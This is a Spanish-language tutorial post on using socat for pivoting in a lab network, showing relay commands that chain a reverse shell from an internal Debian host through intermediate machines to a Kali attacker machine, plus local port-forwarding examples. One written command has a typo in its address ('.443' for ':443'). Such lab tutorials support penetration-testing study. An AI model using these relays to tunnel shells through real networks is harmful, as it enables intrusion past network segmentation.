Jump to content

Socat es una herramienta que nos permite crear comunicaciones bidireccionales. Se le conoce como el netcat con esteroides, ya que es una herramienta tan completa que es casi imposible verla entera, por lo que vamos a centrarnos en los puntos más útiles para pivoting.

Índice:

  • Introducción
  • Redirecciones

Introducción

Socat es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes, de todas formas para descargar ambos binarios los links son los siguientes:

  • Linux (32 y 64 Bits)
  • Windows (64 Bits)

La estructura de socat es muy sencilla, sin embargo la sintaxis puede parecer compleja al principio:

socat [opciones] <dirección origen> <dirección destino>

La sintaxis para las direcciones es:

<protocolo>:<ip>:<puerto>

El «laboratorio» en el que vamos a ver su funcionamiento es el siguiente:

  • 4 Equipos
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Windows 7 de 64 Bits
      • IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red
    • Debian 1
      • IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red
    • Debian 2
      • IP: 192.168.30.20
pivoting con socat laboratorio

Redirecciones

Para practicar y ver como hacer redirecciones vamos a intentar enviarnos una Reverse Shell desde el Debian 2 (192.168.30.20) y Kali (192.168.10.10):

Primero nos ponemos en escucha desde nuestro kali, para tenerlo desde un principio listo:

image 140

Siguiendo el diagrama, la máquina con la que Kali tiene comunicación es el Windows 7, por lo que preparamos socat en esta máquina:

image 141

socat tcp-l:443,fork,reuseaddr tcp:192.168.10.10.443

Vamos a explicar el comando:

  • tcp-l:443 –> TCP-L es la abreviatura de TCP-LISTEN, escribiendo TCP-L:<puerto> nos ponemos en escucha desde ese puerto.
  • fork –> Indicamos que socat pueda aceptar más de una conexión.
  • reuseaddr –> permite reutilizar el puerto después de la finalización del programa

fork y reuseaddr se suelen usar siempre que nos pongamos en escucha con socat.

  • tcp:192.168.10.10:443 –> recordando que socat maneja una estructura de <origen> <destino>, en este caso estamos indicando que el destino es el puerto 443 de la dirección 192.168.10.10.

Conociendo los argumentos del comando usado a nivel conceptual básicamente estamos diciendo que todo lo que reciba el equipo Windows por el puerto 443 lo envíe al puerto 443 del Kali, que es donde estamos en escucha.

Con esto listo, vamos a la máquina con la que Windows tiene comunicación (además del Kali), allí, también vamos a ejecutar socat usando el mismo concepto:

image 142

El comando al fin y al cabo es el mismo, todo lo que reciba el Debian por el puerto 443, lo mandaré al puerto 443 del equipo Windows. Donde el equipo Windows todo lo que reciba lo mandará al puerto 443 del Kali. De esta forma, y con todo esta estructura ya montada, si desde el Debian 2 nos enviamos una Shell al puerto 443 del Debian 1, obtendremos la Reverse Shell en el kali:

image 143
image 144

Si nos damos cuenta, obtenemos la conexión desde la IP del Windows, todo gracias a las redirecciones. Además, la Shell es totalmente funcional:

image 145

Esto es un ejemplo de redirecciones para que nos llegue una Reverse Shell, sin embargo, también podemos usar socat para por ejemplo, redirecciones internas. Es decir, imaginémonos la situación donde yo tengo un servidor web corriendo en mi kali, pero solo accesible de forma interna, podría tunelizarlo a otro puerto usando socat:

Desde el Windows el Servidor Web de mi Kali no es accesible:

image 146

Pero dentro de nuestro kali podemos hacer una redirección:

image 147

De esta forma, estamos abriendo el puerto 8080 poniéndonos en escucha, y todo lo que recibamos desde este puerto, lo redirigimos a nuestro puerto 80 local.

Con esto, si intentamos desde el Windows acceder al 8080:

image 148

Vemos que podemos acceder al servidor 80, el cual a pesar de solo estar abierto de forma interna, podemos acceder a él.

Hasta ahora la dirección IP no ha cambiado, siempre ha sido 127.0.0.1 cuando hemos apuntado a algún sitio, sin embargo, socat nos permite colocar cualquier IP.

Ejemplo:

image 149

De esta forma le estamos diciendo que además de ponernos en escucha en el puerto 777, todo lo que se reciba a este puerto, se mande al puerto 80 del Kali (ahora está accesible), donde está el servidor web:

image 150

Y vemos que accedemos sin problemas desde el puerto 777 local.

Y hasta aquí las funcionalidades de socat que nos puede ser muy útil para pivoting. Socat es una gran y compleja herramienta, aquí solo hemos visto la parte enfocada a redireccionamiento de conexiones. Veremos más cositas en otros posts. Y conforme aprenda más sobre Pivoting con Socat, también se irá agregando.

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...